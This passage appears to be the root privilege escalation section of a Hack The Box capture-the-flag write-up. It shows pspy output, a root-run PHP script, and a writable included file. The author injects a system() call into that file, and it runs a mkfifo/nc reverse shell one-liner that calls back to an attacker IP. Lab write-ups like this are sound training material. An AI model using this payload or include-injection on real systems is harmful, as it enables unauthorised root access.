[email protected]:/var/www/demo/home$ export TERM=screen
[email protected]:/var/www/demo/home$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[email protected]:/var/www/demo/home$ 

Root Flag

when I ran pspy to monitor the processes I noticed that /var/lib/playbuff/buff.php got executed as root periodically:

2020/01/18 05:25:02 CMD: UID=0    PID=3650   | /usr/bin/php /var/lib/playbuff/buff.php 

I couldn’t write to it but it included another php file which I could write to (/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php):

www-data@player:/tmp$ cd /var/lib/playbuff/
www-data@player:/var/lib/playbuff$ cat buff.php 
class playBuff
        public $logFile="/var/log/playbuff/logs.txt";
        public $logData="Updated";

        public function __wakeup()
$buff = new playBuff();
$serialbuff = serialize($buff);
$data = file_get_contents("/var/lib/playbuff/merge.log");
        $update = file_get_contents("/var/lib/playbuff/logs.txt");
        $query = mysqli_query($conn, "update stats set status='$update' where id=1");
                echo 'Update Success with serialized logs!';
        file_put_contents("/var/lib/playbuff/merge.log","no issues yet");
        $update = file_get_contents("/var/lib/playbuff/logs.txt");
        $query = mysqli_query($conn, "update stats set status='$update' where id=1");
                echo 'Update Success!';
[email protected]:/var/lib/playbuff$ 

I put my reverse shell payload in /tmp and added a line to /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php that executed it:

[email protected]:/$ cat /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "integrity";

system("bash -c /tmp/pwned.sh");

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
[email protected]:/$ cat /tmp/pwned.sh 
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1338 >/tmp/f
[email protected]:/$ 

And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Bitlab
Next Hack The Box write-up : Hack The Box - AI